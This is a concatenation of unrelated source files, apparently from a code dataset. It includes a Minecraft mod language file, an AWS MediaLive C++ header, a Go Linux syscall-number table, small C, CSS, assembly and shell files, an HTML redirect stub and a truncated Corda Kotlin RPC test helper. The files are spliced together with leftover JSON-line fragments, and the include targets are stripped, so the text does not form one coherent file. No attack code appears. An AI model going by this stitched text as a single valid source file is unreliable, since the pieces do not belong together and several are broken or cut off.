I\ninfo.woot.hammer.mode.validate_t2=Validate Tier II\ninfo.woot.hammer.mode.validate_t2.desc=Checks that the structure and controller are valid for Tier II\ninfo.woot.hammer.mode.validate_t3=Validate Tier III\ninfo.woot.hammer.mode.validate_t3.desc=Validate Tier 3 desc\ninfo.woot.hammer.mode.validate_t3.desc=Checks that the structure and controller are valid for Tier III\ninfo.woot.hammer.mode.validate_t4=Validate Tier IV\ninfo.woot.hammer.mode.validate_t4.desc=Checks that the structure and controller are valid for Tier IV\ninfo.woot.hammer.mode.validate_import=Validate imports\ninfo.woot.hammer.mode.validate_import.desc=Checks that tanks and inventories and valid import blocks\ninfo.woot.hammer.mode.validate_export=Validate exports\ninfo.woot.hammer.mode.validate_export.desc=Checks that tanks and inventories and valid export blocks\n\n###########################################################\n# Enchantments\n###########################################################\nenchant.woot.headhunter=Headhunter\nenchantment.woot.headhunter.desc=Mobs may drop their head when killed.\n\n###########################################################\n# Chat\n###########################################################\nchat.woot.endershard.failure=Cannot capture mob\nchat.woot.endershard.success=Captured mob\nchat.woot.anvil.nomagma=Anvil must be sitting on a Magma Block\nchat.woot.anvil.emptyshard=Unprogrammed Ender Shard\nchat.woot.anvil.invalid=No matching recipe\nchat.woot.validate.power=Found Power Cell at %d,%d,%d\nchat.woot.validate.nopower=No Power Cell\nchat.woot.validate.importer=Found Importer at %d,%d,%d\nchat.woot.validate.noimporter=No Importer\nchat.woot.validate.exporter=Found Exporter at %d,%d,%d\nchat.woot.validate.noexporter=No Exporter\nchat.woot.validate.missing=Expected %s at %d,%d,%d found nothing\nchat.woot.validate.incorrect=Expected %s at %d,%d,%d found %s\nchat.woot.validate.validating=Validating factory for %s\nchat.woot.validate.inputs=Validating connected inputs\nchat.woot.validate.outputs=Validating connected outputs\nchat.woot.validate.nocontroller=Expected controller at %d,%d,%d\nchat.woot.validate.invalidmob=Controller contains a blacklisted or unknown mob\nchat.woot.validate.invalidtier=Controller needs higher tier of factory\nchat.woot.validate.ok=Found valid %s factory\n\n###########################################################\n# Commands\n###########################################################\ncommands.woot.dev.debug.usage=Use /woot dev debug {[!]event|show|list}.\ncommands.woot.dev.power.usage=Use /woot dev power .\n\ncommands.woot.dump.loot.usage=Not implemented\ncommands.woot.dump.mobs.usage=Use /woot dump mobs\ncommands.woot.dump.tartarus.usage=Use /woot dump tartarus\ncommands.woot.dump.learning.usage=Use /woot dump learning\ncommands.woot.dump.policy.usage=Use /woot dump policy {int|ext} \n\ncommands.woot.flush.usage=Use /woot flush {all|}\n\ncommands.woot.dump.structure.usage=Use /woot dump structure\n\ncommands.woot.give.usage=Use /woot give \ncommands.woot.give.unknownentity=Entity not on EntityList\n\ncommands.woot.invalidmob=Invalid mob name\n\n# BloodMagic\nritual.woot.ritualLifeEssenceTank=Ritual of the Sanguine Urn\nritual.woot.ritualLifeEssenceAltar=Ritual of the Mechanical Altar\nritual.woot.ritualClonedSoul=Ritual of the Cloned Soul\n\n# User Interface Upgrades\nui.woot.mass.desc=Mass %d: %dRF/tick, %d mobs\nui.woot.decapitate.desc=Decapitate %d: %dRF/tick, %d%% chance\nui.woot.looting.desc=Looting %d: %dRF/tick\nui.woot.rate.desc=Rate %d: %dRF/tick, %d%% time decrease\nui.woot.efficiency.desc=Efficiency %d: %dRF/tick, %d power decrease\nui.woot.xp.desc=XP %d: %dRF/tick, %d%% generation\nui.woot.ec_blood.desc=EvilCraft Blood %d: %dRF/tick, %d mBperHP\nui.woot.bm_le_tank.desc=Blood Magic Tank %d: %dRF/tick, %d sacrifice runes\nui.woot.bm_le_altar.desc=Blood Magic Altar %d: %dRF/tick, %d%% sacrifice\nui.woot.bm_crystal.desc=Blood Magic Crystal %d: %dRF/tick %d%% mob health\n"} +{"text": "/**\n * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\n * SPDX-License-Identifier: Apache-2.0.\n */\n\n#pragma once\n#include \n#include \n#include \n#include \n#include \n\nnamespace Aws\n{\nnamespace Utils\n{\nnamespace Json\n{\n class JsonValue;\n class JsonView;\n} // namespace Json\n} // namespace Utils\nnamespace MediaLive\n{\nnamespace Model\n{\n\n /**\n * Audio Selector Settings

See Also:

AWS\n * API Reference

\n */\n class AWS_MEDIALIVE_API AudioSelectorSettings\n {\n public:\n AudioSelectorSettings();\n AudioSelectorSettings(Aws::Utils::Json::JsonView jsonValue);\n AudioSelectorSettings& operator=(Aws::Utils::Json::JsonView jsonValue);\n Aws::Utils::Json::JsonValue Jsonize() const;\n\n\n \n inline const AudioLanguageSelection& GetAudioLanguageSelection() const{ return m_audioLanguageSelection; }\n\n \n inline bool AudioLanguageSelectionHasBeenSet() const { return m_audioLanguageSelectionHasBeenSet; }\n\n \n inline void SetAudioLanguageSelection(const AudioLanguageSelection& value) { m_audioLanguageSelectionHasBeenSet = true; m_audioLanguageSelection = value; }\n\n \n inline void SetAudioLanguageSelection(AudioLanguageSelection&& value) { m_audioLanguageSelectionHasBeenSet = true; m_audioLanguageSelection = std::move(value); }\n\n \n inline AudioSelectorSettings& WithAudioLanguageSelection(const AudioLanguageSelection& value) { SetAudioLanguageSelection(value); return *this;}\n\n \n inline AudioSelectorSettings& WithAudioLanguageSelection(AudioLanguageSelection&& value) { SetAudioLanguageSelection(std::move(value)); return *this;}\n\n\n \n inline const AudioPidSelection& GetAudioPidSelection() const{ return m_audioPidSelection; }\n\n \n inline bool AudioPidSelectionHasBeenSet() const { return m_audioPidSelectionHasBeenSet; }\n\n \n inline void SetAudioPidSelection(const AudioPidSelection& value) { m_audioPidSelectionHasBeenSet = true; m_audioPidSelection = value; }\n\n \n inline void SetAudioPidSelection(AudioPidSelection&& value) { m_audioPidSelectionHasBeenSet = true; m_audioPidSelection = std::move(value); }\n\n \n inline AudioSelectorSettings& WithAudioPidSelection(const AudioPidSelection& value) { SetAudioPidSelection(value); return *this;}\n\n \n inline AudioSelectorSettings& WithAudioPidSelection(AudioPidSelection&& value) { SetAudioPidSelection(std::move(value)); return *this;}\n\n\n \n inline const AudioTrackSelection& GetAudioTrackSelection() const{ return m_audioTrackSelection; }\n\n \n inline bool AudioTrackSelectionHasBeenSet() const { return m_audioTrackSelectionHasBeenSet; }\n\n \n inline void SetAudioTrackSelection(const AudioTrackSelection& value) { m_audioTrackSelectionHasBeenSet = true; m_audioTrackSelection = value; }\n\n \n inline void SetAudioTrackSelection(AudioTrackSelection&& value) { m_audioTrackSelectionHasBeenSet = true; m_audioTrackSelection = std::move(value); }\n\n \n inline AudioSelectorSettings& WithAudioTrackSelection(const AudioTrackSelection& value) { SetAudioTrackSelection(value); return *this;}\n\n \n inline AudioSelectorSettings& WithAudioTrackSelection(AudioTrackSelection&& value) { SetAudioTrackSelection(std::move(value)); return *this;}\n\n private:\n\n AudioLanguageSelection m_audioLanguageSelection;\n bool m_audioLanguageSelectionHasBeenSet;\n\n AudioPidSelection m_audioPidSelection;\n bool m_audioPidSelectionHasBeenSet;\n\n AudioTrackSelection m_audioTrackSelection;\n bool m_audioTrackSelectionHasBeenSet;\n };\n\n} // namespace Model\n} // namespace MediaLive\n} // namespace Aws\n"} +{"text": "// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -m32 /tmp/include/asm/unistd.h\n// Code generated by the command above; see README.md. DO NOT EDIT.\n\n// +build 386,linux\n\npackage unix\n\nconst (\n\tSYS_RESTART_SYSCALL = 0\n\tSYS_EXIT = 1\n\tSYS_FORK = 2\n\tSYS_READ = 3\n\tSYS_WRITE = 4\n\tSYS_OPEN = 5\n\tSYS_CLOSE = 6\n\tSYS_WAITPID = 7\n\tSYS_CREAT = 8\n\tSYS_LINK = 9\n\tSYS_UNLINK = 10\n\tSYS_EXECVE = 11\n\tSYS_CHDIR = 12\n\tSYS_TIME = 13\n\tSYS_MKNOD = 14\n\tSYS_CHMOD = 15\n\tSYS_LCHOWN = 16\n\tSYS_BREAK = 17\n\tSYS_OLDSTAT = 18\n\tSYS_LSEEK = 19\n\tSYS_GETPID = 20\n\tSYS_MOUNT = 21\n\tSYS_UMOUNT = 22\n\tSYS_SETUID = 23\n\tSYS_GETUID = 24\n\tSYS_STIME = 25\n\tSYS_PTRACE = 26\n\tSYS_ALARM = 27\n\tSYS_OLDFSTAT = 28\n\tSYS_PAUSE = 29\n\tSYS_UTIME = 30\n\tSYS_STTY = 31\n\tSYS_GTTY = 32\n\tSYS_ACCESS = 33\n\tSYS_NICE = 34\n\tSYS_FTIME = 35\n\tSYS_SYNC = 36\n\tSYS_KILL = 37\n\tSYS_RENAME = 38\n\tSYS_MKDIR = 39\n\tSYS_RMDIR = 40\n\tSYS_DUP = 41\n\tSYS_PIPE = 42\n\tSYS_TIMES = 43\n\tSYS_PROF = 44\n\tSYS_BRK = 45\n\tSYS_SETGID = 46\n\tSYS_GETGID = 47\n\tSYS_SIGNAL = 48\n\tSYS_GETEUID = 49\n\tSYS_GETEGID = 50\n\tSYS_ACCT = 51\n\tSYS_UMOUNT2 = 52\n\tSYS_LOCK = 53\n\tSYS_IOCTL = 54\n\tSYS_FCNTL = 55\n\tSYS_MPX = 56\n\tSYS_SETPGID = 57\n\tSYS_ULIMIT = 58\n\tSYS_OLDOLDUNAME = 59\n\tSYS_UMASK = 60\n\tSYS_CHROOT = 61\n\tSYS_USTAT = 62\n\tSYS_DUP2 = 63\n\tSYS_GETPPID = 64\n\tSYS_GETPGRP = 65\n\tSYS_SETSID = 66\n\tSYS_SIGACTION = 67\n\tSYS_SGETMASK = 68\n\tSYS_SSETMASK = 69\n\tSYS_SETREUID = 70\n\tSYS_SETREGID = 71\n\tSYS_SIGSUSPEND = 72\n\tSYS_SIGPENDING = 73\n\tSYS_SETHOSTNAME = 74\n\tSYS_SETRLIMIT = 75\n\tSYS_GETRLIMIT = 76\n\tSYS_GETRUSAGE = 77\n\tSYS_GETTIMEOFDAY = 78\n\tSYS_SETTIMEOFDAY = 79\n\tSYS_GETGROUPS = 80\n\tSYS_SETGROUPS = 81\n\tSYS_SELECT = 82\n\tSYS_SYMLINK = 83\n\tSYS_OLDLSTAT = 84\n\tSYS_READLINK = 85\n\tSYS_USELIB = 86\n\tSYS_SWAPON = 87\n\tSYS_REBOOT = 88\n\tSYS_READDIR = 89\n\tSYS_MMAP = 90\n\tSYS_MUNMAP = 91\n\tSYS_TRUNCATE = 92\n\tSYS_FTRUNCATE = 93\n\tSYS_FCHMOD = 94\n\tSYS_FCHOWN = 95\n\tSYS_GETPRIORITY = 96\n\tSYS_SETPRIORITY = 97\n\tSYS_PROFIL = 98\n\tSYS_STATFS = 99\n\tSYS_FSTATFS = 100\n\tSYS_IOPERM = 101\n\tSYS_SOCKETCALL = 102\n\tSYS_SYSLOG = 103\n\tSYS_SETITIMER = 104\n\tSYS_GETITIMER = 105\n\tSYS_STAT = 106\n\tSYS_LSTAT = 107\n\tSYS_FSTAT = 108\n\tSYS_OLDUNAME = 109\n\tSYS_IOPL = 110\n\tSYS_VHANGUP = 111\n\tSYS_IDLE = 112\n\tSYS_VM86OLD = 113\n\tSYS_WAIT4 = 114\n\tSYS_SWAPOFF = 115\n\tSYS_SYSINFO = 116\n\tSYS_IPC = 117\n\tSYS_FSYNC = 118\n\tSYS_SIGRETURN = 119\n\tSYS_CLONE = 120\n\tSYS_SETDOMAINNAME = 121\n\tSYS_UNAME = 122\n\tSYS_MODIFY_LDT = 123\n\tSYS_ADJTIMEX = 124\n\tSYS_MPROTECT = 125\n\tSYS_SIGPROCMASK = 126\n\tSYS_CREATE_MODULE = 127\n\tSYS_INIT_MODULE = 128\n\tSYS_DELETE_MODULE = 129\n\tSYS_GET_KERNEL_SYMS = 130\n\tSYS_QUOTACTL = 131\n\tSYS_GETPGID = 132\n\tSYS_FCHDIR = 133\n\tSYS_BDFLUSH = 134\n\tSYS_SYSFS = 135\n\tSYS_PERSONALITY = 136\n\tSYS_AFS_SYSCALL = 137\n\tSYS_SETFSUID = 138\n\tSYS_SETFSGID = 139\n\tSYS__LLSEEK = 140\n\tSYS_GETDENTS = 141\n\tSYS__NEWSELECT = 142\n\tSYS_FLOCK = 143\n\tSYS_MSYNC = 144\n\tSYS_READV = 145\n\tSYS_WRITEV = 146\n\tSYS_GETSID = 147\n\tSYS_FDATASYNC = 148\n\tSYS__SYSCTL = 149\n\tSYS_MLOCK = 150\n\tSYS_MUNLOCK = 151\n\tSYS_MLOCKALL = 152\n\tSYS_MUNLOCKALL = 153\n\tSYS_SCHED_SETPARAM = 154\n\tSYS_SCHED_GETPARAM = 155\n\tSYS_SCHED_SETSCHEDULER = 156\n\tSYS_SCHED_GETSCHEDULER = 157\n\tSYS_SCHED_YIELD = 158\n\tSYS_SCHED_GET_PRIORITY_MAX = 159\n\tSYS_SCHED_GET_PRIORITY_MIN = 160\n\tSYS_SCHED_RR_GET_INTERVAL = 161\n\tSYS_NANOSLEEP = 162\n\tSYS_MREMAP = 163\n\tSYS_SETRESUID = 164\n\tSYS_GETRESUID = 165\n\tSYS_VM86 = 166\n\tSYS_QUERY_MODULE = 167\n\tSYS_POLL = 168\n\tSYS_NFSSERVCTL = 169\n\tSYS_SETRESGID = 170\n\tSYS_GETRESGID = 171\n\tSYS_PRCTL = 172\n\tSYS_RT_SIGRETURN = 173\n\tSYS_RT_SIGACTION = 174\n\tSYS_RT_SIGPROCMASK = 175\n\tSYS_RT_SIGPENDING = 176\n\tSYS_RT_SIGTIMEDWAIT = 177\n\tSYS_RT_SIGQUEUEINFO = 178\n\tSYS_RT_SIGSUSPEND = 179\n\tSYS_PREAD64 = 180\n\tSYS_PWRITE64 = 181\n\tSYS_CHOWN = 182\n\tSYS_GETCWD = 183\n\tSYS_CAPGET = 184\n\tSYS_CAPSET = 185\n\tSYS_SIGALTSTACK = 186\n\tSYS_SENDFILE = 187\n\tSYS_GETPMSG = 188\n\tSYS_PUTPMSG = 189\n\tSYS_VFORK = 190\n\tSYS_UGETRLIMIT = 191\n\tSYS_MMAP2 = 192\n\tSYS_TRUNCATE64 = 193\n\tSYS_FTRUNCATE64 = 194\n\tSYS_STAT64 = 195\n\tSYS_LSTAT64 = 196\n\tSYS_FSTAT64 = 197\n\tSYS_LCHOWN32 = 198\n\tSYS_GETUID32 = 199\n\tSYS_GETGID32 = 200\n\tSYS_GETEUID32 = 201\n\tSYS_GETEGID32 = 202\n\tSYS_SETREUID32 = 203\n\tSYS_SETREGID32 = 204\n\tSYS_GETGROUPS32 = 205\n\tSYS_SETGROUPS32 = 206\n\tSYS_FCHOWN32 = 207\n\tSYS_SETRESUID32 = 208\n\tSYS_GETRESUID32 = 209\n\tSYS_SETRESGID32 = 210\n\tSYS_GETRESGID32 = 211\n\tSYS_CHOWN32 = 212\n\tSYS_SETUID32 = 213\n\tSYS_SETGID32 = 214\n\tSYS_SETFSUID32 = 215\n\tSYS_SETFSGID32 = 216\n\tSYS_PIVOT_ROOT = 217\n\tSYS_MINCORE = 218\n\tSYS_MADVISE = 219\n\tSYS_GETDENTS64 = 220\n\tSYS_FCNTL64 = 221\n\tSYS_GETTID = 224\n\tSYS_READAHEAD = 225\n\tSYS_SETXATTR = 226\n\tSYS_LSETXATTR = 227\n\tSYS_FSETXATTR = 228\n\tSYS_GETXATTR = 229\n\tSYS_LGETXATTR = 230\n\tSYS_FGETXATTR = 231\n\tSYS_LISTXATTR = 232\n\tSYS_LLISTXATTR = 233\n\tSYS_FLISTXATTR = 234\n\tSYS_REMOVEXATTR = 235\n\tSYS_LREMOVEXATTR = 236\n\tSYS_FREMOVEXATTR = 237\n\tSYS_TKILL = 238\n\tSYS_SENDFILE64 = 239\n\tSYS_FUTEX = 240\n\tSYS_SCHED_SETAFFINITY = 241\n\tSYS_SCHED_GETAFFINITY = 242\n\tSYS_SET_THREAD_AREA = 243\n\tSYS_GET_THREAD_AREA = 244\n\tSYS_IO_SETUP = 245\n\tSYS_IO_DESTROY = 246\n\tSYS_IO_GETEVENTS = 247\n\tSYS_IO_SUBMIT = 248\n\tSYS_IO_CANCEL = 249\n\tSYS_FADVISE64 = 250\n\tSYS_EXIT_GROUP = 252\n\tSYS_LOOKUP_DCOOKIE = 253\n\tSYS_EPOLL_CREATE = 254\n\tSYS_EPOLL_CTL = 255\n\tSYS_EPOLL_WAIT = 256\n\tSYS_REMAP_FILE_PAGES = 257\n\tSYS_SET_TID_ADDRESS = 258\n\tSYS_TIMER_CREATE = 259\n\tSYS_TIMER_SETTIME = 260\n\tSYS_TIMER_GETTIME = 261\n\tSYS_TIMER_GETOVERRUN = 262\n\tSYS_TIMER_DELETE = 263\n\tSYS_CLOCK_SETTIME = 264\n\tSYS_CLOCK_GETTIME = 265\n\tSYS_CLOCK_GETRES = 266\n\tSYS_CLOCK_NANOSLEEP = 267\n\tSYS_STATFS64 = 268\n\tSYS_FSTATFS64 = 269\n\tSYS_TGKILL = 270\n\tSYS_UTIMES = 271\n\tSYS_FADVISE64_64 = 272\n\tSYS_VSERVER = 273\n\tSYS_MBIND = 274\n\tSYS_GET_MEMPOLICY = 275\n\tSYS_SET_MEMPOLICY = 276\n\tSYS_MQ_OPEN = 277\n\tSYS_MQ_UNLINK = 278\n\tSYS_MQ_TIMEDSEND = 279\n\tSYS_MQ_TIMEDRECEIVE = 280\n\tSYS_MQ_NOTIFY = 281\n\tSYS_MQ_GETSETATTR = 282\n\tSYS_KEXEC_LOAD = 283\n\tSYS_WAITID = 284\n\tSYS_ADD_KEY = 286\n\tSYS_REQUEST_KEY = 287\n\tSYS_KEYCTL = 288\n\tSYS_IOPRIO_SET = 289\n\tSYS_IOPRIO_GET = 290\n\tSYS_INOTIFY_INIT = 291\n\tSYS_INOTIFY_ADD_WATCH = 292\n\tSYS_INOTIFY_RM_WATCH = 293\n\tSYS_MIGRATE_PAGES = 294\n\tSYS_OPENAT = 295\n\tSYS_MKDIRAT = 296\n\tSYS_MKNODAT = 297\n\tSYS_FCHOWNAT = 298\n\tSYS_FUTIMESAT = 299\n\tSYS_FSTATAT64 = 300\n\tSYS_UNLINKAT = 301\n\tSYS_RENAMEAT = 302\n\tSYS_LINKAT = 303\n\tSYS_SYMLINKAT = 304\n\tSYS_READLINKAT = 305\n\tSYS_FCHMODAT = 306\n\tSYS_FACCESSAT = 307\n\tSYS_PSELECT6 = 308\n\tSYS_PPOLL = 309\n\tSYS_UNSHARE = 310\n\tSYS_SET_ROBUST_LIST = 311\n\tSYS_GET_ROBUST_LIST = 312\n\tSYS_SPLICE = 313\n\tSYS_SYNC_FILE_RANGE = 314\n\tSYS_TEE = 315\n\tSYS_VMSPLICE = 316\n\tSYS_MOVE_PAGES = 317\n\tSYS_GETCPU = 318\n\tSYS_EPOLL_PWAIT = 319\n\tSYS_UTIMENSAT = 320\n\tSYS_SIGNALFD = 321\n\tSYS_TIMERFD_CREATE = 322\n\tSYS_EVENTFD = 323\n\tSYS_FALLOCATE = 324\n\tSYS_TIMERFD_SETTIME = 325\n\tSYS_TIMERFD_GETTIME = 326\n\tSYS_SIGNALFD4 = 327\n\tSYS_EVENTFD2 = 328\n\tSYS_EPOLL_CREATE1 = 329\n\tSYS_DUP3 = 330\n\tSYS_PIPE2 = 331\n\tSYS_INOTIFY_INIT1 = 332\n\tSYS_PREADV = 333\n\tSYS_PWRITEV = 334\n\tSYS_RT_TGSIGQUEUEINFO = 335\n\tSYS_PERF_EVENT_OPEN = 336\n\tSYS_RECVMMSG = 337\n\tSYS_FANOTIFY_INIT = 338\n\tSYS_FANOTIFY_MARK = 339\n\tSYS_PRLIMIT64 = 340\n\tSYS_NAME_TO_HANDLE_AT = 341\n\tSYS_OPEN_BY_HANDLE_AT = 342\n\tSYS_CLOCK_ADJTIME = 343\n\tSYS_SYNCFS = 344\n\tSYS_SENDMMSG = 345\n\tSYS_SETNS = 346\n\tSYS_PROCESS_VM_READV = 347\n\tSYS_PROCESS_VM_WRITEV = 348\n\tSYS_KCMP = 349\n\tSYS_FINIT_MODULE = 350\n\tSYS_SCHED_SETATTR = 351\n\tSYS_SCHED_GETATTR = 352\n\tSYS_RENAMEAT2 = 353\n\tSYS_SECCOMP = 354\n\tSYS_GETRANDOM = 355\n\tSYS_MEMFD_CREATE = 356\n\tSYS_BPF = 357\n\tSYS_EXECVEAT = 358\n\tSYS_SOCKET = 359\n\tSYS_SOCKETPAIR = 360\n\tSYS_BIND = 361\n\tSYS_CONNECT = 362\n\tSYS_LISTEN = 363\n\tSYS_ACCEPT4 = 364\n\tSYS_GETSOCKOPT = 365\n\tSYS_SETSOCKOPT = 366\n\tSYS_GETSOCKNAME = 367\n\tSYS_GETPEERNAME = 368\n\tSYS_SENDTO = 369\n\tSYS_SENDMSG = 370\n\tSYS_RECVFROM = 371\n\tSYS_RECVMSG = 372\n\tSYS_SHUTDOWN = 373\n\tSYS_USERFAULTFD = 374\n\tSYS_MEMBARRIER = 375\n\tSYS_MLOCK2 = 376\n\tSYS_COPY_FILE_RANGE = 377\n\tSYS_PREADV2 = 378\n\tSYS_PWRITEV2 = 379\n\tSYS_PKEY_MPROTECT = 380\n\tSYS_PKEY_ALLOC = 381\n\tSYS_PKEY_FREE = 382\n\tSYS_STATX = 383\n\tSYS_ARCH_PRCTL = 384\n\tSYS_IO_PGETEVENTS = 385\n\tSYS_RSEQ = 386\n\tSYS_SEMGET = 393\n\tSYS_SEMCTL = 394\n\tSYS_SHMGET = 395\n\tSYS_SHMCTL = 396\n\tSYS_SHMAT = 397\n\tSYS_SHMDT = 398\n\tSYS_MSGGET = 399\n\tSYS_MSGSND = 400\n\tSYS_MSGRCV = 401\n\tSYS_MSGCTL = 402\n\tSYS_CLOCK_GETTIME64 = 403\n\tSYS_CLOCK_SETTIME64 = 404\n\tSYS_CLOCK_ADJTIME64 = 405\n\tSYS_CLOCK_GETRES_TIME64 = 406\n\tSYS_CLOCK_NANOSLEEP_TIME64 = 407\n\tSYS_TIMER_GETTIME64 = 408\n\tSYS_TIMER_SETTIME64 = 409\n\tSYS_TIMERFD_GETTIME64 = 410\n\tSYS_TIMERFD_SETTIME64 = 411\n\tSYS_UTIMENSAT_TIME64 = 412\n\tSYS_PSELECT6_TIME64 = 413\n\tSYS_PPOLL_TIME64 = 414\n\tSYS_IO_PGETEVENTS_TIME64 = 416\n\tSYS_RECVMMSG_TIME64 = 417\n\tSYS_MQ_TIMEDSEND_TIME64 = 418\n\tSYS_MQ_TIMEDRECEIVE_TIME64 = 419\n\tSYS_SEMTIMEDOP_TIME64 = 420\n\tSYS_RT_SIGTIMEDWAIT_TIME64 = 421\n\tSYS_FUTEX_TIME64 = 422\n\tSYS_SCHED_RR_GET_INTERVAL_TIME64 = 423\n\tSYS_PIDFD_SEND_SIGNAL = 424\n\tSYS_IO_URING_SETUP = 425\n\tSYS_IO_URING_ENTER = 426\n\tSYS_IO_URING_REGISTER = 427\n\tSYS_OPEN_TREE = 428\n\tSYS_MOVE_MOUNT = 429\n\tSYS_FSOPEN = 430\n\tSYS_FSCONFIG = 431\n\tSYS_FSMOUNT = 432\n\tSYS_FSPICK = 433\n)\n"} +{"text": "/*\n * Copyright (C) STMicroelectronics SA 2014\n * Author: Benjamin Gaignard for STMicroelectronics.\n * License terms: GNU General Public License (GPL), version 2\n */\n\n#ifndef _STI_DRM_PLANE_H_\n#define _STI_DRM_PLANE_H_\n\n#include \n\nstruct sti_layer;\n\nstruct drm_plane *sti_drm_plane_init(struct drm_device *dev,\n\t\tstruct sti_layer *layer,\n\t\tunsigned int possible_crtcs,\n\t\tenum drm_plane_type type);\n#endif\n"} +{"text": "/*\n * This is a manifest file that'll be compiled into application.css, which will include all the files\n * listed below.\n *\n * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,\n * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.\n *\n * You're free to add application-wide styles to this file and they'll appear at the top of the\n * compiled file, but it's generally better to create a new file per style scope.\n *\n *= require_self\n *= require_tree .\n */\n"} +{"text": "VERSION\t\tEQU\t1\nREVISION\tEQU\t6\nDATE\tMACRO\n\t\tdc.b\t'25.10.95'\n\tENDM\nVERS\tMACRO\n\t\tdc.b\t'xbdata.a 1.6'\n\tENDM\nVSTRING\tMACRO\n\t\tdc.b\t'xbdata.a 1.6 (25.10.95)',13,10,0\n\tENDM\nVERSTAG\tMACRO\n\t\tdc.b\t0,'$VER: xbdata.a 1.6 (25.10.95)',0\n\tENDM\n"} +{"text": "#!/bin/sh\n#shellcheck disable=SC1091\n. /usr/local/fbpackages/utils/ast-functions\n\nARGS=\"scm smb pim1 pim2 pim3 pim4 pim5 pim6 pim7 pim8 psu1 psu2 psu3 psu4\"\n#shellcheck disable=SC2086\nexec /usr/local/bin/sensord $ARGS\n"} +{"text": "2004-01-15 Andreas Nahr \n\n\t* DirectoryEntryConverter.cs: Added, stubbed minimal version\n\t* ChangeLog: Added"} +{"text": "\n\n\n \n\n\n

Redirecting to struct.ChaChaRng.html...

\n \n\n"} +{"text": "package net.corda.testing.node.internal\n\nimport net.corda.client.mock.Generator\nimport net.corda.client.rpc.CordaRPCClientConfiguration\nimport net.corda.client.rpc.RPCConnection\nimport net.corda.client.rpc.internal.RPCClient\nimport net.corda.client.rpc.ext.RPCConnectionListener\nimport net.corda.nodeapi.internal.rpc.client.AMQPClientSerializationScheme\nimport net.corda.core.concurrent.CordaFuture\nimport net.corda.core.context.AuthServiceId\nimport net.corda.core.context.Trace\nimport net.corda.core.crypto.random63BitValue\nimport net.corda.core.identity.CordaX500Name\nimport net.corda.core.internal.concurrent.doneFuture\nimport net.corda.core.internal.concurrent.fork\nimport net.corda.core.internal.concurrent.map\nimport net.corda.core.internal.div\nimport net.corda.core.internal.uncheckedCast\nimport net.corda.core.messaging.RPCOps\nimport net.corda.core.node.NetworkParameters\nimport net.corda.core.utilities.NetworkHostAndPort\nimport net.corda.core.utilities.seconds\nimport net.corda.node.internal.security.RPCSecurityManagerImpl\nimport net.corda.node.services.rpc.RPCServer\nimport net.corda.node.services.rpc.RPCServerConfiguration\nimport net.corda.nodeapi.RPCApi\nimport net.corda.nodeapi.internal.ArtemisTcpTransport\nimport net.corda.serialization.internal.AMQP_RPC_CLIENT_CONTEXT\nimport net.corda.testing.common.internal.testNetworkParameters\nimport net.corda.testing.core.MAX_MESSAGE_SIZE\nimport net.corda.testing.driver.JmxPolicy\nimport net.corda.testing.driver.PortAllocation\nimport net.corda.testing.driver.internal.incrementalPortAllocation\nimport net.corda.testing.internal.TestingNamedCacheFactory\nimport net.corda.testing.internal.fromUserList\nimport net.corda.testing.node.NotarySpec\nimport net.corda.testing.node.User\nimport org.apache.activemq.artemis.api.core.SimpleString\nimport org.apache.activemq.artemis.api.core.TransportConfiguration\nimport org.apache.activemq.artemis.api.core.client.ActiveMQClient\nimport org.apache.activemq.artemis.api.core.client.ActiveMQClient.DEFAULT_ACK_BATCH_SIZE\nimport org.apache.activemq.artemis.api.core.client.ClientSession\nimport org.apache.activemq.artemis.api.core.management.ActiveMQServerControl\nimport org.apache.activemq.artemis.core.config.Configuration\nimport org.apache.activemq.artemis.core.config.CoreQueueConfiguration\nimport org.apache.activemq.artemis.core.config.impl.ConfigurationImpl\nimport org.apache.activemq.artemis.core.remoting.impl.invm.InVMAcceptorFactory\nimport org.apache.activemq.artemis.core.remoting.impl.invm.InVMConnectorFactory\nimport org.apache.activemq.artemis.core.security.CheckType\nimport org.apache.activemq.artemis.core.security.Role\nimport org.apache.activemq.artemis.core.server.embedded.EmbeddedActiveMQ\nimport org.apache.activemq.artemis.core.server.impl.ActiveMQServerImpl\nimport org.apache.activemq.artemis.core.settings.impl.AddressFullMessagePolicy\nimport org.apache.activemq.artemis.core.settings.impl.AddressSettings\nimport org.apache.activemq.artemis.spi.core.protocol.RemotingConnection\nimport org.apache.activemq.artemis.spi.core.security.ActiveMQSecurityManager3\nimport java.lang.reflect.Method\nimport java.nio.file.Path\nimport java.nio.file.Paths\nimport java.time.Duration\nimport java.util.*\nimport net.corda.nodeapi.internal.config.User as InternalUser\n\ninline fun RPCDriverDSL.startInVmRpcClient(\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password,\n configuration: CordaRPCClientConfiguration = CordaRPCClientConfiguration.DEFAULT\n) = startInVmRpcClient(I::class.java, username, password, configuration)\n\ninline fun RPCDriverDSL.startRandomRpcClient(\n hostAndPort: NetworkHostAndPort,\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password\n) = startRandomRpcClient(I::class.java, hostAndPort, username, password)\n\ninline fun RPCDriverDSL.startRpcClient(\n rpcAddress: NetworkHostAndPort,\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password,\n configuration: CordaRPCClientConfiguration = CordaRPCClientConfiguration.DEFAULT\n) = startRpcClient(I::class.java, rpcAddress, username, password, configuration)\n\ninline fun RPCDriverDSL.startRpcClient(\n haAddressPool: List,\n username: String = rpcTestUser.username,\n password: String = rpcTestUser.password,\n configuration: CordaRPCClientConfiguration = CordaRPCClientConfiguration.DEFAULT\n) = startRpcClient(I::class.java, haAddressPool, username, password, configuration)\n\ndata class RpcBrokerHandle(\n val hostAndPort: NetworkHostAndPort?,\n /** null if this is an InVM broker */\n val clientTransportConfiguration: TransportConfiguration,\n val serverControl: ActiveMQServerControl,\n val shutdown: () -> Unit\n)\n\ndata class RpcServerHandle(\n val broker: RpcBrokerHandle,\n val rpcServer: RPCServer\n) {\n fun shutdown() {\n rpcServer.close()\n broker.shutdown()\n }\n}\n\nval rpcTestUser = User(\"user1\", \"test\", permissions = emptySet())\n// A separate user for RPC server is necessary as there are scenarios that call `ActiveMQServerControl.closeConnectionsForUser`\n// to test disconnect/failover. If there is only a single Artemis broker user, `ActiveMQServerControl.closeConnectionsForUser` will do\n// damage to the internals of `RPCServer` rendering it unusable.\nval rpcServerUser = User(\"rpcServer\", 